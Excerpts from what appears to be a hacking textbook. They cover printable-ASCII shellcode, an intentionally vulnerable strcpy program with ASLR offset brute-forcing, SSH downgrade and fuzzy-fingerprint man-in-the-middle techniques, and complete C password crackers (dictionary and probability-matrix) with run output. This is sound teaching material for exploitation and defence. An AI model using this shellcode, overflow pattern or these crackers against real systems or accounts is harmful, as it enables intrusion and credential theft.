sub	eax,0x72727550						;			to	add	860	to	EAX.
sub	eax,0x54545421
push	eax																;	Put	EAX	back	into	ESP.
pop	esp																	;			Effectively	ESP	=	ESP	+	860
and	eax,0x454e4f4a
and	eax,0x3a313035						;	Zero	out	EAX.

sub	eax,0x346d6d25						;	Subtract	printable	values	
sub	eax,0x256d6d25						;			to	make	EAX	=	0x80cde189.
sub	eax,0x2557442d						;			(last	4	bytes	from	shellcode.bin)
push	eax																;	Push	these	bytes	to	stack	at	ESP.
sub	eax,0x59316659						;	Subtract	more	printable	values
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Randomized	Stack	Space
Another	protective	countermeasure	tries	a	slightly	different	approach.	Instead	of
preventing	execution	on	the	stack,	this	countermeasure	randomizes	the	stack
memory	layout.	When	the	memory	layout	is	randomized,	the	attacker	won't	be
able	to	return	execution	into	waiting	shellcode,	since	he	won't	know	where	it	is.
This	countermeasure	has	been	enabled	by	default	in	the	Linux	kernel	since
2.6.12,	but	this	book's	LiveCD	has	been	configured	with	it	turned	off.	To	turn	this
protection	on	again,	echo	1	to	the	/proc	filesystem	as	shown	below.

reader@hacking:~/booksrc	$	sudo	su	-
root@hacking:~	#	echo	1	>	/proc/sys/kernel/randomize_va_space
root@hacking:~	#	exit
logout
reader@hacking:~/booksrc	$	gcc	exploit_notesearch.c
reader@hacking:~/booksrc	$	./a.out
[DEBUG]	found	a	34	byte	note	for	user	id	999
[DEBUG]	found	a	41	byte	note	for	user	id	999
-------[	end	of	note	data	]-------
reader@hacking:~/booksrc	$

With	this	countermeasure	turned	on,	the	notesearch	exploit	no	longer	works,
since	the	layout	of	the	stack	is	randomized.	Every	time	a	program	starts,	the	stack
begins	at	a	random	location.	The	following	example	demonstrates	this.

Randomized	Stack	Space

aslr_demo.c

#include	<stdio.h>

int	main(int	argc,	char	*argv[])	{
			char	buffer[50];

			printf("buffer	is	at	%p\n",	&buffer);

			if(argc	>	1)
						strcpy(buffer,	argv[1]);

			return	1;
}

This	program	has	an	obvious	buffer	overflow	vulnerability	in	it.	However	with
ASLR	turned	on,	exploitation	isn't	that	easy.

reader@hacking:~/booksrc	$	gcc	-g	-o	aslr_demo	aslr_demo.c
reader@hacking:~/booksrc	$	./aslr_demo
buffer	is	at	0xbffbbf90
reader@hacking:~/booksrc	$	./aslr_demo
buffer	is	at	0xbfe4de20
reader@hacking:~/booksrc	$	./aslr_demo
buffer	is	at	0xbfc7ac50
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>	fi
>	done
Trying	offset	of	1	words
buffer	is	at	0xbfc093b0
Trying	offset	of	2	words
buffer	is	at	0xbfd01ca0
Trying	offset	of	3	words
buffer	is	at	0xbfe45de0
Trying	offset	of	4	words
buffer	is	at	0xbfdcd560
Trying	offset	of	5	words
buffer	is	at	0xbfbf5380
Trying	offset	of	6	words
buffer	is	at	0xbffce760
Trying	offset	of	7	words
buffer	is	at	0xbfaf7a80
Trying	offset	of	8	words
buffer	is	at	0xbfa4e9d0
Trying	offset	of	9	words
buffer	is	at	0xbfacca50
Trying	offset	of	10	words
buffer	is	at	0xbfd08c80
Trying	offset	of	11	words
buffer	is	at	0xbff24ea0
Trying	offset	of	12	words
buffer	is	at	0xbfaf9a70
Trying	offset	of	13	words
buffer	is	at	0xbfe0fd80
Trying	offset	of	14	words
buffer	is	at	0xbfe03d70
Trying	offset	of	15	words
buffer	is	at	0xbfc2fb90
Trying	offset	of	16	words
buffer	is	at	0xbff32a40
Trying	offset	of	17	words
buffer	is	at	0xbf9da940
Trying	offset	of	18	words
buffer	is	at	0xbfd0cc70
Trying	offset	of	19	words
buffer	is	at	0xbf897ff0
Illegal	instruction
==>		Correct	offset	to	return	address	is	19	words
reader@hacking:~/booksrc	$

Knowing	the	proper	offset	will	let	us	overwrite	the	return	address.	However,	we
still	cannot	execute	shellcode	since	its	location	is	randomized.	Using	GDB,	let's
look	at	the	program	just	as	it's	about	to	return	from	the	main	function.

reader@hacking:~/booksrc	$	gdb	-q	./aslr_demo
Using	host	libthread_db	library	"/lib/tls/i686/cmov/libthread_db.so.1".
(gdb)	disass	main
Dump	of	assembler	code	for	function	main:
0x080483b4	<main+0>:				push			ebp
0x080483b5	<main+1>:				mov				ebp,esp
0x080483b7	<main+3>:				sub				esp,0x58
0x080483ba	<main+6>:				and				esp,0xfffffff0
0x080483bd	<main+9>:				mov				eax,0x0
0x080483c2	<main+14>:			sub				esp,eax
0x080483c4	<main+16>:			lea				eax,[ebp-72]
0x080483c7	<main+19>:			mov				DWORD	PTR	[esp+4],eax
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Chapter	0x700.	CRYPTOLOGY
Cryptology	is	defined	as	the	study	of	cryptography	or	cryptanalysis.	Cryptography	is
simply	the	process	of	communicating	secretly	through	the	use	of	ciphers,	and
cryptanalysis	is	the	process	of	cracking	or	deciphering	such	secret	communications.
Historically,	cryptology	has	been	of	particular	interest	during	wars,	when
countries	used	secret	codes	to	communicate	with	their	troops	while	also	trying	to
break	the	enemy's	codes	to	infiltrate	their	communications.
The	wartime	applications	still	exist,	but	the	use	of	cryptography	in	civilian	life	is
becoming	increasingly	popular	as	more	critical	transactions	occur	over	the
Internet.	Network	sniffing	is	so	common	that	the	paranoid	assumption	that
someone	is	always	sniffing	network	traffic	might	not	be	so	paranoid.	Passwords,
credit	card	numbers,	and	other	proprietary	information	can	all	be	sniffed	and
stolen	over	unencrypted	protocols.	Encrypted	communication	protocols	provide	a
solution	to	this	lack	of	privacy	and	allow	the	Internet	economy	to	function.
Without	Secure	Sockets	Layer	(SSL)	encryption,	credit	card	transactions	at
popular	websites	would	be	either	very	inconvenient	or	insecure.
All	of	this	private	data	is	protected	by	cryptographic	algorithms	that	are	probably
secure.	Currently,	cryptosystems	that	can	be	proven	to	be	secure	are	far	too
unwieldy	for	practical	use.	So	in	lieu	of	a	mathematical	proof	of	security,
cryptosystems	that	are	practically	secure	are	used.	This	means	that	it's	possible	that
shortcuts	for	defeating	these	ciphers	exist,	but	no	one's	been	able	to	actualize
them	yet.	Of	course,	there	are	also	cryptosystems	that	aren't	secure	at	all.	This
could	be	due	to	the	implementation,	key	size,	or	simply	cryptanalytic	weaknesses
in	the	cipher	itself.	In	1997,	under	US	law,	the	maximum	allowable	key	size	for
encryption	in	exported	software	was	40	bits.	This	limit	on	key	size	makes	the
corresponding	cipher	insecure,	as	was	shown	by	RSA	Data	Security	and	Ian
Goldberg,	a	graduate	student	from	the	University	of	California,	Berkeley.	RSA
posted	a	challenge	to	decipher	a	message	encrypted	with	a	40-bit	key,	and	three
and	a	half	hours	later,	Ian	had	done	just	that.	This	was	strong	evidence	that	40-bit
keys	aren't	large	enough	for	a	secure	cryptosystem.
Cryptology	is	relevant	to	hacking	in	a	number	of	ways.	At	the	purest	level,	the
challenge	of	solving	a	puzzle	is	enticing	to	the	curious.	At	a	more	nefarious	level,
the	secret	data	protected	by	that	puzzle	is	perhaps	even	more	alluring.	Breaking
or	circumventing	the	cryptographic	protections	of	secret	data	can	provide	a
certain	sense	of	satisfaction,	not	to	mention	a	sense	of	the	protected	data's
contents.	In	addition,	strong	cryptography	is	useful	in	avoiding	detection.
Expensive	network	intrusion	detection	systems	designed	to	sniff	network	traffic
for	attack	signatures	are	useless	if	the	attacker	is	using	an	encrypted
communication	channel.	Often,	the	encrypted	Web	access	provided	for	customer
security	is	used	by	attackers	as	a	difficult-to-monitor	attack	vector.
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Algorithmic	Run	Time
Algorithmic	run	time	is	a	bit	different	from	the	run	time	of	a	program.	Since	an
algorithm	is	simply	an	idea,	there's	no	limit	to	the	processing	speed	for	evaluating
the	algorithm.	This	means	that	an	expression	of	algorithmic	run	time	in	minutes
or	seconds	is	meaningless.
Without	factors	such	as	processor	speed	and	architecture,	the	important
unknown	for	an	algorithm	is	input	size.	A	sorting	algorithm	running	on	1,000
elements	will	certainly	take	longer	than	the	same	sorting	algorithm	running	on	10
elements.	The	input	size	is	generally	denoted	by	n,	and	each	atomic	step	can	be
expressed	as	a	number.	The	run	time	of	a	simple	algorithm,	such	as	the	one	that
follows,	can	be	expressed	in	terms	of	n.

for(i	=	1	to	n)	{
			Do	something;
			Do	another	thing;
}	
Do	one	last	thing;

This	algorithm	loops	n	times,	each	time	doing	two	actions,	and	then	does	one	last
action,	so	the	time	complexity	for	this	algorithm	would	be	2n	+	1.	A	more	complex
algorithm	with	an	additional	nested	loop	tacked	on,	shown	below,	would	have	a
time	complexity	of	n2	+	2n	+	1,	since	the	new	action	is	executed	n2	times.

for(x	=	1	to	n)	{
			for(y	=	1	to	n)	{
						Do	the	new	action;
			}
}
for(i	=	1	to	n)	{
			Do	something;
			Do	another	thing;
}	
Do	one	last	thing;

But	this	level	of	detail	for	time	complexity	is	still	too	granular.	For	example,	as	n
becomes	larger,	the	relative	difference	between	2n	+	5	and	2n	+	365	becomes
less	and	less.	However,	as	n	becomes	larger,	the	relative	difference	between	2n2	+
5	and	2n	+	5	becomes	larger	and	larger.	This	type	of	generalized	trending	is	what
is	most	important	to	the	run	time	of	an	algorithm.
Consider	two	algorithms,	one	with	a	time	complexity	of	2n	+	365	and	the	other
with	2n2	+	5.	The	2n2	+	5	algorithm	will	outperform	the	2n	+	365	algorithm	on
small	values	for	n.	But	for	n	=	30,	both	algorithms	perform	equally,	and	for	all	n
greater	than	30,	the	2n	+	365	algorithm	will	outperform	the	2n2	+	5	algorithm.
Since	there	are	only	30	values	for	n	in	which	the	2n2	+	5	algorithm	performs
better,	but	an	infinite	number	of	values	for	nin	which	the	2n	+	365	algorithm
performs	better,	the	2n	+	365	algorithm	is	generally	more	efficient.
This	means	that,	in	general,	the	growth	rate	of	the	time	complexity	of	an
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algorithm	with	respect	to	input	size	is	more	important	than	the	time	complexity
for	any	fixed	input.	While	this	might	not	always	hold	true	for	specific	real-world
applications,	this	type	of	measurement	of	an	algorithm's	efficiency	tends	to	be
true	when	averaged	over	all	possible	applications.

Asymptotic	Notation

Asymptotic	notation	is	a	way	to	express	an	algorithm's	efficiency.	It's	called
asymptotic	because	it	deals	with	the	behavior	of	the	algorithm	as	the	input	size
approaches	the	asymptotic	limit	of	infinity.
Returning	to	the	examples	of	the	2n	+	365	algorithm	and	the	2n2	+	5	algorithm,
we	determined	that	the	2n	+	365	algorithm	is	generally	more	efficient	because	it
follows	the	trend	of	n,	while	the	2n2	+	5	algorithm	follows	the	general	trend	of	n2.
This	means	that	2n	+	365	is	bounded	above	by	a	positive	multiple	of	n	for	all
sufficiently	large	n,	and	2n2	+	5	is	bounded	above	by	a	positive	multiple	of	n2	for	all
sufficiently	large	n.
This	sounds	kind	of	confusing,	but	all	it	really	means	is	that	there	exists	a	positive
constant	for	the	trend	value	and	a	lower	bound	on	n,	such	that	the	trend	value
multiplied	by	the	constant	will	always	be	greater	than	the	time	complexity	for	all	n
greater	than	the	lower	bound.	In	other	words,	2n2	+	5	is	in	the	order	of	n2,	and	2n
+	365	is	in	the	order	of	n.	There's	a	convenient	mathematical	notation	for	this,
called	big-oh	notation,	which	looks	like	O(n2)	to	describe	an	algorithm	that	is	in	the
order	of	n2.
A	simple	way	to	convert	an	algorithm's	time	complexity	to	big-oh	notation	is	to
simply	look	at	the	high-order	terms,	since	these	will	be	the	terms	that	matter	most
as	n	becomes	sufficiently	large.	So	an	algorithm	with	a	time	complexity	of	3n4	+
43n3	+	763n	+	log	n	+	37	would	be	in	the	order	of	O(n4),	and	54n7	+	23n4	+	4325
would	be	O(n7).
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iz@tetsuo:~	$	telnet	192.168.42.72	22
Trying	192.168.42.72...
Connected	to	192.168.42.72.
Escape	character	is	'^]'.
SSH-1.5-OpenSSH_3.9p1

Connection	closed	by	foreign	host.

Usually,	clients	such	as	tetsuo	connecting	to	loki	at	192.168.42.72	would	have
only	communicated	using	SSH2.	Therefore,	there	would	only	be	a	host	fingerprint
for	SSH	protocol	2	stored	on	the	client.	When	protocol	1	is	forced	by	the	MitM
attack,	the	attacker's	fingerprint	won't	be	compared	to	the	stored	fingerprint,	due
to	the	differing	protocols.	Older	implementations	will	simply	ask	to	add	this
fingerprint	since,	technically,	no	host	fingerprint	exists	for	this	protocol.	This	is
shown	in	the	output	below.

iz@tetsuo:~	$	ssh	jose@192.168.42.72
The	authenticity	of	host	'192.168.42.72	(192.168.42.72)'	can't	be	established.
RSA1	key	fingerprint	is	45:f7:8d:ea:51:0f:25:db:5a:4b:9e:6a:d6:3c:d0:a6.	
Are	you	sure	you	want	to	continue	connecting	(yes/no)?

Since	this	vulnerability	was	made	public,	newer	implementations	of	OpenSSH
have	a	slightly	more	verbose	warning:

iz@tetsuo:~	$	ssh	jose@192.168.42.72
WARNING:	RSA	key	found	for	host	192.168.42.72
in	/home/iz/.ssh/known_hosts:1
RSA	key	fingerprint	ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0.
The	authenticity	of	host	'192.168.42.72	(192.168.42.72)'	can't	be	established
but	keys	of	different	type	are	already	known	for	this	host.
RSA1	key	fingerprint	is	45:f7:8d:ea:51:0f:25:db:5a:4b:9e:6a:d6:3c:d0:a6.	
Are	you	sure	you	want	to	continue	connecting	(yes/no)?

This	modified	warning	isn't	as	strong	as	the	warning	given	when	host	fingerprints
of	the	same	protocol	don't	match.	Also,	since	not	all	clients	will	be	up	to	date,	this
technique	can	still	prove	to	be	useful	for	an	MitM	attack.

Fuzzy	Fingerprints

Konrad	Rieck	had	an	interesting	idea	regarding	SSH	host	fingerprints.	Often,	a
user	will	connect	to	a	server	from	several	different	clients.	The	host	fingerprint
will	be	displayed	and	added	each	time	a	new	client	is	used,	and	a	security-
conscious	user	will	tend	to	remember	the	general	structure	of	the	host
fingerprint.	While	no	one	actually	memorizes	the	entire	fingerprint,	major
changes	can	be	detected	with	little	effort.	Having	a	general	idea	of	what	the	host
fingerprint	looks	like	when	connecting	from	a	new	client	greatly	increases	the
security	of	that	connection.	If	an	MitM	attack	is	attempted,	the	blatant	difference
in	host	fingerprints	can	usually	be	detected	by	eye.
However,	the	eye	and	the	brain	can	be	tricked.	Certain	fingerprints	will	look	very
similar	to	others.	Digits	1	and	7	look	very	similar,	depending	on	the	display	font.
Usually,	the	hex	digits	found	at	the	beginning	and	end	of	the	fingerprint	are
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remembered	with	the	greatest	clarity,	while	the	middle	tends	to	be	a	bit	hazy.	The
goal	behind	the	fuzzy	fingerprint	technique	is	to	generate	a	host	key	with	a
fingerprint	that	looks	similar	enough	to	the	original	fingerprint	to	fool	the	human
eye.
The	openssh	package	provides	tools	to	retrieve	the	host	key	from	servers.

reader@hacking:~	$	ssh-keyscan	-t	rsa	192.168.42.72	>	loki.hostkey
#	192.168.42.72	SSH-1.99-OpenSSH_3.9p1
reader@hacking:~	$	cat	loki.hostkey	
192.168.42.72	ssh-rsa	
AAAAB3NzaC1yc2EAAAABIwAAAIEA8Xq6H28EOiCbQaFbIzPtMJSc316SH4aOijgkf7nZnH4LirNziH5upZmk4/
JSdBXcQohiskFFeHadFViuB4xIURZeF3Z7OJtEi8aupf2pAnhSHF4rmMV1pwaSuNTahsBoKOKSaTUOW0RN/1t3G/
52KTzjtKGacX4gTLNSc8fzfZU=
reader@hacking:~	$	ssh-keygen	-l	-f	loki.hostkey	
1024	ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:10:59:a0	192.168.42.72	
reader@hacking:~	$

Now	that	the	host	key	fingerprint	format	is	known	for	192.168.42.72	(loki),	fuzzy
fingerprints	can	be	generated	that	look	similar.	A	program	that	does	this	has	been
developed	by	Rieck	and	is	available	at	http://www.thc.org/thc-ffp/.	The	following
output	shows	the	creation	of	some	fuzzy	fingerprints	for	192.168.42.72	(loki).

reader@hacking:~	$	ffp
Usage:	ffp	[Options]
Options:
		-f	type							Specify	type	of	fingerprint	to	use	[Default:	md5]
																Available:	md5,	sha1,	ripemd
		-t	hash							Target	fingerprint	in	byte	blocks.	
																Colon-separated:	01:23:45:67...	or	as	string	01234567...
		-k	type							Specify	type	of	key	to	calculate	[Default:	rsa]
																Available:	rsa,	dsa
		-b	bits							Number	of	bits	in	the	keys	to	calculate	[Default:	1024]
		-K	mode							Specify	key	calulation	mode	[Default:	sloppy]
																Available:	sloppy,	accurate
		-m	type							Specify	type	of	fuzzy	map	to	use	[Default:	gauss]
																Available:	gauss,	cosine
		-v	variation		Variation	to	use	for	fuzzy	map	generation	[Default:	7.3]
		-y	mean							Mean	value	to	use	for	fuzzy	map	generation	[Default:	0.14]
		-l	size							Size	of	list	that	contains	best	fingerprints	[Default:	10]
		-s	filename			Filename	of	the	state	file	[Default:	/var/tmp/ffp.state]
		-e												Extract	SSH	host	key	pairs	from	state	file
		-d	directory		Directory	to	store	generated	ssh	keys	to	[Default:	/tmp]
		-p	period					Period	to	save	state	file	and	display	state	[Default:	60]
		-V												Display	version	information
No	state	file	/var/tmp/ffp.state	present,	specify	a	target	hash.
reader@hacking:~	$	ffp	-f	md5	-k	rsa	-b	1024	-t	ba:06:7f:d2:b9:74:a8:0a:13:cb:a2:f7:e0:
10:59:a0
---[Initializing]---------------------------------------------------------------
	Initializing	Crunch	Hash:	Done
			Initializing	Fuzzy	Map:	Done
	Initializing	Private	Key:	Done
			Initializing	Hash	List:	Done
			Initializing	FFP	State:	Done
---[Fuzzy	Map]------------------------------------------------------------------
				Length:	32
						Type:	Inverse	Gaussian	Distribution
							Sum:	15020328
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#define	_XOPEN_SOURCE
#include	<unistd.h>
#include	<stdio.h>

/*	Barf	a	message	and	exit.	*/
void	barf(char	*message,	char	*extra)	{
			printf(message,	extra);
			exit(1);
}

/*	A	dictionary	attack	example	program	*/
int	main(int	argc,	char	*argv[])	{
			FILE	*wordlist;
			char	*hash,	word[30],	salt[3];
			if(argc	<	2)
						barf("Usage:	%s	<wordlist	file>	<password	hash>\n",	argv[0]);

			strncpy(salt,	argv[2],	2);	//	First	2	bytes	of	hash	are	the	salt.
			salt[2]	=	'\0';		//	terminate	string

			printf("Salt	value	is	\'%s\'\n",	salt);

			if(	(wordlist	=	fopen(argv[1],	"r"))	==	NULL)	//	Open	the	wordlist.
						barf("Fatal:	couldn't	open	the	file	\'%s\'.\n",	argv[1]);

			while(fgets(word,	30,	wordlist)	!=	NULL)	{	//	Read	each	word
						word[strlen(word)-1]	=	'\0';	//	Remove	the	'\n'	byte	at	the	end.
						hash	=	crypt(word,	salt);	//	Hash	the	word	using	the	salt.
						printf("trying	word:			%-30s	==>	%15s\n",	word,	hash);
						if(strcmp(hash,	argv[2])	==	0)	{	//	If	the	hash	matches
									printf("The	hash	\"%s\"	is	from	the	",	argv[2]);
									printf("plaintext	password	\"%s\".\n",	word);
									fclose(wordlist);
									exit(0);
						}
			}
			printf("Couldn't	find	the	plaintext	password	in	the	supplied	wordlist.\n");
			fclose(wordlist);	
}

The	following	output	shows	this	program	being	used	to	crack	the	password	hash
jeHEAX1m66RV.,	using	the	words	found	in	/usr/share/dict/words.

reader@hacking:~/booksrc	$	gcc	-o	crypt_crack	crypt_crack.c	-lcrypt
reader@hacking:~/booksrc	$	./crypt_crack	/usr/share/dict/words	jeHEAX1m66RV.
Salt	value	is	'je'
trying	word:																																		==>			jesS3DmkteZYk
trying	word:			A																														==>			jeV7uK/S.y/KU
trying	word:			A's																												==>			jeEcn7sF7jwWU
trying	word:			AOL																												==>			jeSFGex8ANJDE
trying	word:			AOL's																										==>			jesSDhacNYUbc
trying	word:			Aachen																									==>			jeyQc3uB14q1E
trying	word:			Aachen's																							==>			je7AQSxfhvsyM
trying	word:			Aaliyah																								==>			je/vAqRJyOZvU

.:[	output	trimmed	]:.

trying	word:			terse																										==>			jelgEmNGLflJ2
trying	word:			tersely																								==>			jeYfo1aImUWqg
trying	word:			terseness																						==>			jedH11z6kkEaA
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cost.	Also,	the	salts	still	tend	to	prohibit	any	type	of	storage	attack,	even	with	the
reduced	storage-space	requirements.
The	following	two	source	code	listings	can	be	used	to	create	a	password
probability	matrix	and	crack	passwords	with	it.	The	first	listing	will	generate	a
matrix	that	can	be	used	to	crack	all	possible	four-character	passwords	salted	with
je.	The	second	listing	will	use	the	generated	matrix	to	actually	do	the	password
cracking.

ppm_gen.c

/*********************************************************\
*		Password	Probability	Matrix			*				File:	ppm_gen.c					*
***********************************************************
*																																																									*
*		Author:								Jon	Erickson	<matrix@phiral.com>								*
*		Organization:		Phiral	Research	Laboratories												*
*																																																									*
*		This	is	the	generate	program	for	the	PPM	proof	of						*
*		concept.		It	generates	a	file	called	4char.ppm,	which		*
*		contains	information	regarding	all	possible	4-									*
*		character	passwords	salted	with	'je'.		This	file	can			*
*		be	used	to	quickly	crack	passwords	found	within	this			*
*		keyspace	with	the	corresponding	ppm_crack.c	program.			*
*																																																									*
\*********************************************************/

#define	_XOPEN_SOURCE
#include	<unistd.h>
#include	<stdio.h>
#include	<stdlib.h>

#define	HEIGHT	16384
#define	WIDTH		1129
#define	DEPTH		8
#define	SIZE	HEIGHT	*	WIDTH	*	DEPTH

/*	Map	a	single	hash	byte	to	an	enumerated	value.	*/
int	enum_hashbyte(char	a)	{
			int	i,	j;
			i	=	(int)a;
			if((i	>=	46)	&&	(i	<=	57))
						j	=	i	-	46;
			else	if	((i	>=	65)	&&	(i	<=	90))
						j	=	i	-	53;
			else	if	((i	>=	97)	&&	(i	<=	122))
						j	=	i	-	59;
			return	j;
}

/*	Map	3	hash	bytes	to	an	enumerated	value.	*/
int	enum_hashtriplet(char	a,	char	b,	char	c)	{
			return	(((enum_hashbyte(c)%4)*4096)+(enum_hashbyte(a)*64)+enum_hashbyte(b));
}
/*	Barf	a	message	and	exit.	*/
void	barf(char	*message,	char	*extra)	{
			printf(message,	extra);
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		fseek(fd,(DCM*4)+enum_hashtriplet(pass[2],	pass[3],	pass[4])*WIDTH,	SEEK_SET);
		fread(bin_vector2,	WIDTH,	1,	fd);	//	Read	the	vector	associating	bytes	2-4	of	hash.

		len	=	count_vector_bits(bin_vector2);
		printf("only	1	vector	of	4:\t%d	plaintext	pairs,	with	%0.2f%%	saturation\n",	len,
	len*100.0/
9025.0);

		fseek(fd,(DCM*5)+enum_hashtriplet(pass[4],	pass[5],	pass[6])*WIDTH,	SEEK_SET);
		fread(temp_vector,	WIDTH,	1,	fd);	//	Read	the	vector	associating	bytes	4-6	of	hash.
		merge(bin_vector2,	temp_vector);		//	Merge	it	with	the	first	vector.

		len	=	count_vector_bits(bin_vector2);
		printf("vectors	1	AND	2	merged:\t%d	plaintext	pairs,	with	%0.2f%%	saturation\n",	len,	
len*100.0/9025.0);

		fseek(fd,(DCM*6)+enum_hashtriplet(pass[6],	pass[7],	pass[8])*WIDTH,	SEEK_SET);
		fread(temp_vector,	WIDTH,	1,	fd);	//	Read	the	vector	associating	bytes	6-8	of	hash.
		merge(bin_vector2,	temp_vector);		//	Merge	it	with	the	first	two	vectors.

		len	=	count_vector_bits(bin_vector2);
		printf("first	3	vectors	merged:\t%d	plaintext	pairs,	with	%0.2f%%	saturation\n",	len,	
len*100.0/9025.0);

		fseek(fd,(DCM*7)+enum_hashtriplet(pass[8],	pass[9],pass[10])*WIDTH,	SEEK_SET);
		fread(temp_vector,	WIDTH,	1,	fd);	//	Read	the	vector	associatind	bytes	8-10	of	hash.
		merge(bin_vector2,	temp_vector);		//	Merge	it	with	the	othes	vectors.

		len	=	count_vector_bits(bin_vector2);
		printf("all	4	vectors	merged:\t%d	plaintext	pairs,	with	%0.2f%%	saturation\n",	len,	
len*100.0/9025.0);

		printf("Possible	plaintext	pairs	for	the	last	two	bytes:\n");
		print_vector(bin_vector2);
		printf("Building	probability	vectors...\n");
		for(i=0;	i	<	9025;	i++)	{	//	Find	possible	first	two	plaintext	bytes.
				if(get_vector_bit(bin_vector1,	i)==1)	{;
						prob_vector1[0][pv1_len]	=	i	/	95;
						prob_vector1[1][pv1_len]	=	i	-	(prob_vector1[0][pv1_len]	*	95);
						pv1_len++;
				}
		}
		for(i=0;	i	<	9025;	i++)	{	//	Find	possible	last	two	plaintext	bytes.
				if(get_vector_bit(bin_vector2,	i))	{
						prob_vector2[0][pv2_len]	=	i	/	95;
						prob_vector2[1][pv2_len]	=	i	-	(prob_vector2[0][pv2_len]	*	95);
						pv2_len++;
				}
		}

		printf("Cracking	remaining	%d	possibilites..\n",	pv1_len*pv2_len);
		for(i=0;	i	<	pv1_len;	i++)	{
				for(j=0;	j	<	pv2_len;	j++)	{
						plain[0]	=	prob_vector1[0][i]	+	32;
						plain[1]	=	prob_vector1[1][i]	+	32;
						plain[2]	=	prob_vector2[0][j]	+	32;
						plain[3]	=	prob_vector2[1][j]	+	32;
						plain[4]	=	0;
						if(strcmp(crypt(plain,	"je"),	pass)	==	0)	{
								printf("Password	:		%s\n",	plain);
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								i	=	31337;
								j	=	31337;
						}
				}
		}
		if(i	<	31337)
				printf("Password	wasn't	salted	with	'je'	or	is	not	4	chars	long.\n");

		fclose(fd);	
}

The	second	piece	of	code,	ppm_crack.c,	can	be	used	to	crack	the	troublesome
password	of	h4R%	in	a	matter	of	seconds:

reader@hacking:~/booksrc	$	./crypt_test	h4R%	je
password	"h4R%"	with	salt	"je"	hashes	to	==>	jeMqqfIfPNNTE
reader@hacking:~/booksrc	$	gcc	-O3	-o	ppm_crack	ppm_crack.c	-lcrypt
reader@hacking:~/booksrc	$	./ppm_crack	jeMqqfIfPNNTE
Filtering	possible	plaintext	bytes	for	the	first	two	characters:
only	1	vector	of	4:					3801	plaintext	pairs,	with	42.12%	saturation
vectors	1	AND	2	merged:	1666	plaintext	pairs,	with	18.46%	saturation
first	3	vectors	merged:	695	plaintext	pairs,	with	7.70%	saturation
all	4	vectors	merged:			287	plaintext	pairs,	with	3.18%	saturation
Possible	plaintext	pairs	for	the	first	two	bytes:
	4		9		N	!&	!M	!Q	"/	"5	"W	#K	#d	#g	#p	$K	$O	$s	%)	%Z	%\	%r	&(	&T	'-	'0	'7	'D
'F	(		(v	(|	)+	).	)E	)W	*c	*p	*q	*t	*x	+C	-5	-A	-[	-a	.%	.D	.S	.f	/t	02	07	0?	
0e	0{	0|	1A	1U	1V	1Z	1d	2V	2e	2q	3P	3a	3k	3m	4E	4M	4P	4X	4f	6		6,	6C	7:	7@	7S	
7z	8F	8H	9R	9U	9_	9~	:-	:q	:s	;G	;J	;Z	;k	<!	<8	=!	=3	=H	=L	=N	=Y	>V	>X	?1	@#
@W	@v	@|	AO	B/	B0	BO	Bz	C(	D8	D>	E8	EZ	F@	G&	G?	Gj	Gy	H4	I@	J		JN	JT	JU	Jh	Jq	
Ks	Ku	M)	M{	N,	N:	NC	NF	NQ	Ny	O/	O[	P9	Pc	Q!	QA	Qi	Qv	RA	Sg	Sv	T0	Te	U&	U>	UO	
VT	V[	V]	Vc	Vg	Vi	W:	WG	X"	X6	XZ	X`	Xp	YT	YV	Y^	Yl	Yy	Y{	Za	[$	[*	[9	[m	[z	\"	\
+	\C	\O	\w	](	]:	]@	]w	_K	_j	`q	a.	aN	a^	ae	au	b:	bG	bP	cE	cP	dU	d]	e!	fI	fv	g!	
gG	h+	h4	hc	iI	iT	iV	iZ	in	k.	kp	l5	l`	lm	lq	m,	m=	mE	n0	nD	nQ	n~	o#	o:	o^	p0	
p1	pC	pc	q*	q0	qQ	q{	rA	rY	s"	sD	sz	tK	tw	u-	v$	v.	v3	v;	v_	vi	vo	wP	wt	x"	x&	
x+	x1	xQ	xX	xi	yN	yo	zO	zP	zU	z[	z^	zf	zi	zr	zt	{-	{B	{a	|s	})	}+	}?	}y	~L	~m	

Filtering	possible	plaintext	bytes	for	the	last	two	characters:
only	1	vector	of	4:					3821	plaintext	pairs,	with	42.34%	saturation
vectors	1	AND	2	merged:	1677	plaintext	pairs,	with	18.58%	saturation
first	3	vectors	merged:	713	plaintext	pairs,	with	7.90%	saturation
all	4	vectors	merged:			297	plaintext	pairs,	with	3.29%	saturation
Possible	plaintext	pairs	for	the	last	two	bytes:
	!		&	!=	!H	!I	!K	!P	!X	!o	!~	"r	"{	"}	#%	#0	$5	$]	%K	%M	%T	&"	&%	&(	&0	&4	&I	
&q	&}	'B	'Q	'd	)j	)w	*I	*]	*e	*j	*k	*o	*w	*|	+B	+W	,'	,J	,V	-z	.		.$	.T	/'	/_	
0Y	0i	0s	1!	1=	1l	1v	2-	2/	2g	2k	3n	4K	4Y	4\	4y	5-	5M	5O	5}	6+	62	6E	6j	7*	74	
8E	9Q	9\	9a	9b	:8	:;	:A	:H	:S	:w	;"	;&	;L	<L	<m	<r	<u	=,	=4	=v	>v	>x	?&	?`	?j	
?w	@0	A*	B		B@	BT	C8	CF	CJ	CN	C}	D+	D?	DK	Dc	EM	EQ	FZ	GO	GR	H)	Hj	I:	I>	J(	J+	
J3	J6	Jm	K#	K)	K@	L,	L1	LT	N*	NW	N`	O=	O[	Ot	P:	P\	Ps	Q-	Qa	R%	RJ	RS	S3	Sa	T!	
T$	T@	TR	T_	Th	U"	U1	V*	V{	W3	Wy	Wz	X%	X*	Y*	Y?	Yw	Z7	Za	Zh	Zi	Zm	[F	\(	\3	\5	\
_	\a	\b	\|	]$	].	]2	]?	]d	^[	^~	`1	`F	`f	`y	a8	a=	aI	aK	az	b,	b-	bS	bz	c(	cg	dB	
e,	eF	eJ	eK	eu	fT	fW	fo	g(	g>	gW	g\	h$	h9	h:	h@	hk	i?	jN	ji	jn	k=	kj	l7	lo	m<	
m=	mT	me	m|	m}	n%	n?	n~	o		oF	oG	oM	p"	p9	p\	q}	r6	r=	rB	sA	sN	s{	s~	tX	tp	u		
u2	uQ	uU	uk	v#	vG	vV	vW	vl	w*	w>	wD	wv	x2	xA	y:	y=	y?	yM	yU	yX	zK	zv	{#	{)	{=	
{O	{m	|I	|Z	}.	};	}d	~+	~C	~a	
Building	probability	vectors...
Cracking	remaining	85239	possibilites..
Password	:		h4R%
reader@hacking:~/booksrc	$

These	programs	are	proof-of-concept	hacks,	which	take	advantage	of	the	bit
